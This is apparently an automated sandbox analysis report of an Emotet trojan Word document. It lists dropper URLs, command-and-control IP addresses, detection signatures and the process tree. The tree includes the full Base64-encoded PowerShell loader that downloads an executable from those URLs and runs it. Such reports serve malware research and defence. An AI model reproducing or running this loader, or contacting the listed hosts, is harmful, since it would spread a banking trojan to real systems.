Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    64s
  • max time network
    103s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    18/09/2020, 04:30

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_72a840be472b024fe4cd2e80a56e9a80988be7d4f16fa5df74eed66262615262_2020-09-18__042908._doc.doc
  • Size 174KB
  • Sample200918-e47fvxlsvs
  • SHA256 72a840be472b024fe4cd2e80a56e9a80988be7d4f16fa5df74eed66262615262
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://haikouweixun.com/jn5/Rbp/
  • exe.dropper

    http://carolinacanullo.com/js/hllPT/
  • exe.dropper

    http://megasolucoesti.com/R9KDq0O8w/B3KqPpe/
  • exe.dropper

    http://www.insulution.org/wp-admin/swift/swift/y318LGM/
  • exe.dropper

    http://petafilm.com/calendar/6kOpwrt/
  • exe.dropper

    https://dev.contractdevs.co.uk/hbbny/Kv9/
  • exe.dropper

    http://blog.penmman.com/wp-content/uploads/1ECbn9K/

Extracted

Family

  • emotet

C2

  • 71.72.196.159:80

  • 134.209.36.254:8080

  • 120.138.30.150:8080

  • 94.23.216.33:80

  • 157.245.99.39:8080

  • 137.59.187.107:8080

  • 94.23.237.171:443

  • 61.19.246.238:443

  • 156.155.166.221:80

  • 50.35.17.13:80

  • 153.137.36.142:80

  • 91.211.88.52:7080

  • 209.141.54.221:8080

  • 185.94.252.104:443

  • 174.45.13.118:80

  • 87.106.136.232:8080

  • 62.75.141.82:80

  • 213.196.135.145:80

  • 188.219.31.12:80

  • 82.80.155.43:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_72a840be472b024fe4cd2e80a56e9a80988be7d4f16fa5df74eed66262615262_2020-09-18__042908._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1108
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -encod JABOAGwAcAA3AGoAegBqAD0AKAAnAFUAegAnACsAKAAnAGwAaQAnACsAJwBwADYAYQAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBTAGUAcgBQAFIATwBmAGkAbABFAFwAWgAxAGgARgAxADMAQwBcAGoAUQA4AE0AXwA0ADUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBjAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAGAAQwB1AGAAUgBpAHQAWQBQAFIAbwBUAG8AYwBgAE8AbAAiACAAPQAgACgAKAAnAHQAbABzADEAJwArACcAMgAnACkAKwAoACcALAAgAHQAJwArACcAbABzACcAKwAnADEAMQAnACkAKwAoACcALAAgAHQAJwArACcAbAAnACkAKwAnAHMAJwApADsAJABLADcAcAA3ADIAcAB6ACAAPQAgACgAJwBSACcAKwAnAHUAJwArACgAJwA2AG8AagByADEAaQAnACsAJwByACcAKQApADsAJABCAGQAbABqAHEAdwBiAD0AKAAoACcASgBwACcAKwAnAF8AJwApACsAKAAnADQAJwArACcAdQBrAHIAJwApACkAOwAkAFoAdABtAHEAdQBpAHcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAUwBvACcAKwAnADUAJwArACgAJwBaACcAKwAnADEAaABmADEAJwArACcAMwAnACsAJwBjAFMAbwA1ACcAKwAnAEoAcQAnACsAJwA4AG0AXwA0ADUAUwAnACkAKwAnAG8ANQAnACkALgAiAHIAYABlAHAAbABgAEEAQwBlACIAKAAoACcAUwAnACsAJwBvADUAJwApACwAWwBzAHQAcgBJAE4ARwBdAFsAQwBIAGEAUgBdADkAMgApACkAKwAkAEsANwBwADcAMgBwAHoAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABKAGEAcgA1AGcAdABwAD0AKAAoACcAUgBwADkAJwArACcAcQAyACcAKwAnAGMAJwApACsAJwB3ACcAKQA7ACQATABmADMAcABwAHcAZgA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAFQALgBXAGUAYgBDAEwASQBlAE4AVAA7ACQASwBvAGUAMQBlADUAMgA9ACgAKAAnAGgAdAB0AHAAJwArACcAcwA6ACcAKQArACgAJwAvAC8AaAAnACsAJwBhACcAKwAnAGkAawBvAHUAJwApACsAKAAnAHcAZQBpAHgAJwArACcAdQAnACkAKwAoACcAbgAnACsAJwAuAGMAJwArACcAbwBtAC8AagAnACkAKwAoACcAbgAnACsAJwA1AC8AJwApACsAJwBSACcAKwAoACcAYgBwACcAKwAnAC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvAC8AYwBhAHIAJwArACcAbwBsAGkAJwApACsAJwBuACcAKwAoACcAYQBjACcAKwAnAGEAJwArACcAbgB1AGwAJwApACsAKAAnAGwAbwAnACsAJwAuACcAKQArACgAJwBjAG8AbQAnACsAJwAvAGoAJwArACcAcwAvAGgAJwArACcAbABsAFAAJwArACcAVAAvACoAaAB0ACcAKQArACcAdAAnACsAKAAnAHAAOgAnACsAJwAvAC8AbQAnACkAKwAnAGUAJwArACcAZwAnACsAKAAnAGEAJwArACcAcwBvACcAKwAnAGwAdQBjAG8AZQBzACcAKQArACcAdAAnACsAKAAnAGkALgBjAG8AbQAvAFIAJwArACcAOQBLACcAKQArACgAJwBEAHEAMABPADgAdwAnACsAJwAvAEIAJwArACcAMwAnACkAKwAoACcASwAnACsAJwBxAFAAcABlAC8AKgAnACkAKwAnAGgAJwArACgAJwB0AHQAcAAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAdwAnACkAKwAoACcAdwAnACsAJwB3AC4AJwApACsAKAAnAGkAJwArACcAbgBzAHUAbAAnACkAKwAnAHUAJwArACcAdABpACcAKwAoACcAbwAnACsAJwBuAC4AbwByAGcAJwApACsAJwAvAHcAJwArACcAcAAtACcAKwAnAGEAJwArACgAJwBkAG0AJwArACcAaQAnACkAKwAnAG4AJwArACcALwBzACcAKwAoACcAdwAnACsAJwBpAGYAJwApACsAKAAnAHQALwAnACsAJwBzAHcAaQBmAHQAJwApACsAJwAvACcAKwAoACcAeQAzADEAJwArACcAOABMACcAKQArACgAJwBHACcAKwAnAE0ALwAqAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHAAZQB0ACcAKwAnAGEAJwApACsAJwBmACcAKwAoACcAaQAnACsAJwBsAG0ALgAnACkAKwAnAGMAJwArACgAJwBvAG0ALwBjAGEAbABlAG4AZABhACcAKwAnAHIALwAnACsAJwA2ACcAKQArACcAawAnACsAKAAnAE8AcAB3AHIAdAAvACcAKwAnACoAJwArACcAaAAnACkAKwAnAHQAJwArACgAJwB0ACcAKwAnAHAAJwArACcAcwA6AC8ALwAnACkAKwAnAGQAJwArACcAZQAnACsAKAAnAHYALgBjAG8AbgB0AHIAJwArACcAYQBjAHQAZAAnACsAJwBlAHYAcwAuACcAKwAnAGMAbwAnACkAKwAnAC4AdQAnACsAKAAnAGsALwAnACsAJwBoACcAKQArACcAYgAnACsAKAAnAGIAbgB5AC8AJwArACcASwAnACsAJwB2ADkALwAnACsAJwAqACcAKQArACgAJwBoAHQAJwArACcAdABwACcAKQArACgAJwA6AC8ALwAnACsAJwBiAGwAJwApACsAJwBvACcAKwAnAGcALgAnACsAKAAnAHAAJwArACcAZQBuAG0AbQAnACsAJwBhAG4ALgBjAG8AJwArACcAbQAnACkAKwAoACcALwB3AHAALQBjACcAKwAnAG8AJwArACcAbgB0ACcAKQArACcAZQAnACsAKAAnAG4AdAAvACcAKwAnAHUAJwApACsAKAAnAHAAJwArACcAbABvACcAKQArACgAJwBhAGQAcwAvADEARQBDACcAKwAnAGIAbgA5ACcAKwAnAEsAJwApACsAJwAvACcAKQAuACIAcwBQAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABLAHMAdwBmADUAcwBqAD0AKAAoACcARgBfAHMAdwAnACsAJwA1ACcAKQArACcANwBhACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEYAbgBvADUAZQBxAHcAIABpAG4AIAAkAEsAbwBlADEAZQA1ADIAKQB7AHQAcgB5AHsAJABMAGYAMwBwAHAAdwBmAC4AIgBEAG8AYAB3AG4ATABgAG8AYQBEAGYAaQBgAEwAZQAiACgAJABGAG4AbwA1AGUAcQB3ACwAIAAkAFoAdABtAHEAdQBpAHcAKQA7ACQAWABnAGQAegAyAHgAdgA9ACgAKAAnAFIAaAB2AGEAJwArACcAegB3ACcAKQArACcAegAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAWgB0AG0AcQB1AGkAdwApAC4AIgBsAGUAbgBgAGcAdABIACIAIAAtAGcAZQAgADIANQA4ADgAMAApACAAewAuACgAJwBJAG4AJwArACcAdgBvAGsAJwArACcAZQAtAEkAdAAnACsAJwBlAG0AJwApACgAJABaAHQAbQBxAHUAaQB3ACkAOwAkAFUAbwBjAHkAbABpADYAPQAoACcAVQB4ACcAKwAoACcAaABhADUAJwArACcAawA1ACcAKQApADsAYgByAGUAYQBrADsAJABKAHQAdgAwADgAcQAzAD0AKAAnAEIAJwArACgAJwByAHcAJwArACcAOQBpAGEAdgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgAzAGIAcwA5ADkAdwA9ACgAJwBHADkAJwArACcAMABhACcAKwAoACcAbwB0ACcAKwAnADUAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1584
    • C:\Users\Admin\Z1hf13c\Jq8m_45\Ru6ojr1ir.exe
      "C:\Users\Admin\Z1hf13c\Jq8m_45\Ru6ojr1ir.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:972
      • C:\Windows\SysWOW64\tapiui\azroleui.exe
        "C:\Windows\SysWOW64\tapiui\azroleui.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1344

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/972-15-0x0000000000250000-0x0000000000262000-memory.dmp
        Download

        memory/972-16-0x00000000003F0000-0x0000000000400000-memory.dmp
        Download

        memory/1108-5-0x0000000006CC0000-0x0000000006EC0000-memory.dmp
        Download

        memory/1108-2-0x0000000008880000-0x0000000008884000-memory.dmp
        Download

        memory/1344-21-0x0000000000260000-0x0000000000270000-memory.dmp
        Download

        memory/1344-20-0x0000000000240000-0x0000000000252000-memory.dmp
        Download

        memory/1584-8-0x000000001ABC0000-0x000000001ABC1000-memory.dmp
        Download

        memory/1584-12-0x000000001B6B0000-0x000000001B6B1000-memory.dmp
        Download

        memory/1584-11-0x000000001B570000-0x000000001B571000-memory.dmp
        Download

        memory/1584-10-0x000000001A800000-0x000000001A801000-memory.dmp
        Download

        memory/1584-9-0x00000000026E0000-0x00000000026E1000-memory.dmp
        Download

        memory/1584-7-0x0000000002300000-0x0000000002301000-memory.dmp
        Download

        memory/1584-6-0x000007FEE9200000-0x000007FEE9BEC000-memory.dmp
        Download

        memory/1652-22-0x000007FEF7770000-0x000007FEF79EA000-memory.dmp
        Download